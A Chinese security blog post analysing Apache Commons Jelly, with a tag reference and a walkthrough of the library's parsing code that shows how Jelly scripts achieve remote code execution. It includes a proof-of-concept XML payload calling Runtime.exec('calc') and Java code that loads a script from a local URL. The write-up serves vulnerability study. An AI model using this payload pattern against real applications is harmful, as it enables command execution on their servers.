Apache Common Jelly浅析
Commons-jelly
Jelly
Apache Commons Jelly
是一个基于 Java 的轻量级脚本引擎和模板引擎,主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分,旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑,类似于其它模板模板引擎如Apache Velocity
或Freemarker
,但是从Jelly
官方文档定义的标签中不难看出,它将JSTL、Velocity, Ant
等表达式语言借鉴到了一起。正如其它的模板引擎一样,因为支持动态解析的特性,因此在使用时需要严格限制输入的动态数据。
常见语法
-
<j:out>
:将文本或表达式输出到标准输出或指定的输出流。 -
<j:if>
:条件判断标签,如果条件为true
,则执行子标签。 -
<j:elseif>
和<j:else>
:在<j:if>
中用于扩展条件判断。 -
<j:for>
:循环标签,用于遍历数组或集合。 -
<j:while>
:循环标签,用于在给定条件为true
时反复执行。 -
<j:break>
:用于跳出循环。 -
<j:continue>
:用于跳过当前循环的剩余部分,进入下次循环。 -
<j:set>
:设置变量的值。 -
<j:get>
:获取变量的值。 -
<j:include>
:将其他 Jelly 脚本包含到当前脚本中。 -
<j:include>
:与<j:when>
等多条件选择结构 -
${expression}
:在标签中使用表达式来动态计算值。 -
<j:eval>
:评估和执行给定的表达式或代码块。 -
<j:script>
:在 Jelly 脚本中嵌入脚本代码。 -
<j:printf>
:格式化输出,类似于 Java 的System.out.printf()
。 -
<j:dynamicTag>
:动态标签,可以在运行时动态定义和创建标签。 -
<j:invoke>
:调用方法或执行操作的标签。 -
<j:invokeStatic>
:调用静态方法的标签。 -
<j:useBean>
:创建和使用 Java Bean 的标签。 -
<j:try>
和<j:catch>
:用于异常处理的标签块。 -
<j:finally>
:用于定义在try
或catch
块结束时执行的代码。 -
<j:case>
:在switch
结构中使用的标签。 -
<j:switch>
:实现switch
语句的标签。 -
<ant:task>
:与 Apache Ant 集成的标签,用于执行 Ant 任务。 -
<ant:property>
:设置或获取 Ant 属性。 -
<j:tagLibrary>
:定义一个标签库,注册和使用自定义标签。 -
<j:foreach>
:用于迭代集合或数组。 -
<j:while>
:执行循环,直到条件不成立。 -
<j:parse>
:解析 XML 数据。 -
<j:transform>
:应用 XSLT 转换。 -
<j:toXML>
:将对象转换为 XML 格式。
部分用例如:
<j:set var="myVar" value="Hello World" />
<j:invoke on="${object}" method="methodName">
<j:arg value="argumentValue" />
</j:invoke>
<j:new var="myObject" class="com.example.MyClass" />
<j:useBean id="beanId" class="com.example.BeanClass" />
<j:invokeStatic className="com.example.ClassName" method="staticMethodName">
<j:arg value="argumentValue" />
</j:invokeStatic>
<j:choose>
<j:when test="${condition1}">
</j:when>
<j:when test="${condition2}">
</j:when>
<j:otherwise>
</j:otherwise>
</j:choose>
代码分析
从以上的标签不难看出,jelly
能使用的标签语法非常丰富,其中不乏有能调用方法
、动态new对象
、invoke直接调用某些方法
等等危险度较高的标签,如以下:
<j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util">
<j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime" />
<j:invoke on="${runtime}" method="exec">
<j:arg value="calc" />
</j:invoke>
</j:jelly>
XML文件通过
invokeStatic
调用了java.lang.Runtime.getRuntime()
方法,并把它赋予了runtime
变量,最后通过invoke
方法调用了runtime
变量中的exec
方法,并通过arg
标签传入参数为calc
。注:调用的类、方法需为public修饰。
远程调用示例代码:
package com.example.demo.demos.web;
import org.apache.commons.jelly.JellyContext;
import org.apache.commons.jelly.JellyException;
import org.apache.commons.jelly.Script;
import org.apache.commons.jelly.XMLOutput;
import java.io.UnsupportedEncodingException;
public class jelly {
public static void main(String[] args) throws JellyException, UnsupportedEncodingException {
JellyContext context = new JellyContext();
Script script = context.compileScript("http://127.0.0.1:8888/2.xml");
script.run(context, XMLOutput.createXMLOutput(System.out));
}
}
以下大致看下整个代码的调用流程和处理标签的时候,是怎么完成RCE
的触发:
首先compileScript
方法通过URL
类获取流数据,最终将输入流转入parse
方法中,通过getXMLReader().parse
方法进行XML
解析,会将元素名称
、脚本块内容
、命名空间上下文
、行号列号
等信息解析为Script
类
public Script compileScript(String uri) throws JellyException {
XMLParser parser = this.getXMLParser();
parser.setContext(this);
InputStream in = this.getResourceAsStream(uri);
if (in == null) {
throw new JellyException("Could not find Jelly script: " + uri);
} else {
Script script = null;
try {
script = parser.parse(in);
} catch (IOException var6) {
throw new JellyException("Could not parse Jelly script", var6);
} catch (SAXException var7) {
throw new JellyException("Could not parse Jelly script", var7);
}
return script.compile();
}
}
public Script parse(InputStream input) throws IOException, SAXException {
this.ensureConfigured();
this.fileName = this.getCurrentURI();
this.getXMLReader().parse(new InputSource(input));
return this.script;
}
Script
类中包含了XML
文本数据的关键信息,调用run
方法进一步解析,主要关注点集中在expression.evaluateRecurse
与tag.doTag(output)
中。
public void run(JellyContext context, XMLOutput output) throws JellyTagException {
URL rootURL = context.getRootURL();
URL currentURL = context.getCurrentURL();
try {
Tag tag = this.getTag(context);
if (tag != null) {
tag.setContext(context);
this.setContextURLs(context);
Iterator iter;
Map.Entry entry;
String name;
Expression expression;
Class type;
if (tag instanceof DynaTag) {
DynaTag dynaTag = (DynaTag)tag;
Object value;
for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaTag.setAttribute(name, value)) {
entry = (Map.Entry)iter.next();
name = (String)entry.getKey();
expression = (Expression)entry.getValue();
Class type = dynaTag.getAttributeType(name);
type = null;
if (type != null && type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
value = expression;
} else {
value = expression.evaluateRecurse(context);
}
}
} else {
DynaBean dynaBean = new ConvertingWrapDynaBean(tag);
Object value;
for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaBean.set(name, value)) {
entry = (Map.Entry)iter.next();
name = (String)entry.getKey();
expression = (Expression)entry.getValue();
DynaProperty property = dynaBean.getDynaClass().getDynaProperty(name);
if (property == null) {
throw new JellyException("This tag does not understand the '" + name + "' attribute");
}
type = property.getType();
value = null;
if (type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
value = expression;
} else {
value = expression.evaluateRecurse(context);
}
}
}
tag.doTag(output);
if (output != null) {
output.flush();
}
return;
}
} finally {
context.setRootURL(rootURL);
context.setCurrentURL(currentURL);
}
}
- 上下文处理:
- 保存了当前上下文中的
rootURL
和currentURL
,以便在方法执行完后恢复这些值。- 上下文 (
JellyContext
) 是 Jelly 执行时的核心,它维护标签解析时的变量和执行状态。- 获取并初始化标签 (
Tag
):
- 通过
this.getTag(context)
方法获取当前的标签对象。- 如果标签存在,设置其上下文并初始化它需要的属性。
- 动态标签处理 (
DynaTag
):
- 检查标签是否是动态标签
DynaTag
,如果是,则需要额外的Type
处理- 普通标签处理 (
DynaBean
):
- 如果不是动态标签,则将标签包装为一个
DynaBean
对象,获取动态标签的属性DynaProperty
- 如果属性有效,则调用
expression.evaluateRecurse
进行解析,并将解析的结果通过setAttribute
赋值到dynaBean
当中。- 标签执行 (
doTag
):
- 调用标签的
doTag
方法,通过doTag
执行各自标签的对应逻辑,事实上就是进入不同的Tag
类当中,执行不同的doTag
方法。- 如果输出流 (
XMLOutput
) 不为空,执行完毕后刷新输出。
在解析完XML
内容侯,会分标签节点进行遍历解析,首先遍历的标签是invokeStatic
,会逐步对method、className、var
三个属性进行处理,在获取到变量的类型为Java.lang.String
后,会进入expression.evaluateRecurse(context)
中。
evaluateRecurse
会调用evaluate
方法,首先method
方法会直接返回runtime
,随后通过set
方法放入到this.instance
当中,因为三个类型最终都是Java.lang.String
,所以流程都是一样的,取出key-value
放入,因为key
都是规定的,因此最终形成的invokeStatic
如图。
public Object evaluateRecurse(JellyContext context) {
Object value = this.evaluate(context);
if (value instanceof Expression) {
Expression expression = (Expression)value;
return expression.evaluateRecurse(context);
} else {
return value;
}
}
public class ConvertingWrapDynaBean extends WrapDynaBean {
public ConvertingWrapDynaBean(Object instance) {
super(instance);
}
public void set(String name, Object value) {
try {
BeanUtils.setProperty(this.instance, name, value);
} catch (Throwable var4) {
throw new IllegalArgumentException("Property '" + name + "' has no write method")…


文章标题:Apache Common Jelly浅析
文章链接:https://aiwin.net.cn/index.php/archives/4425/
最后编辑:2025 年 5 月 6 日 20:54 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)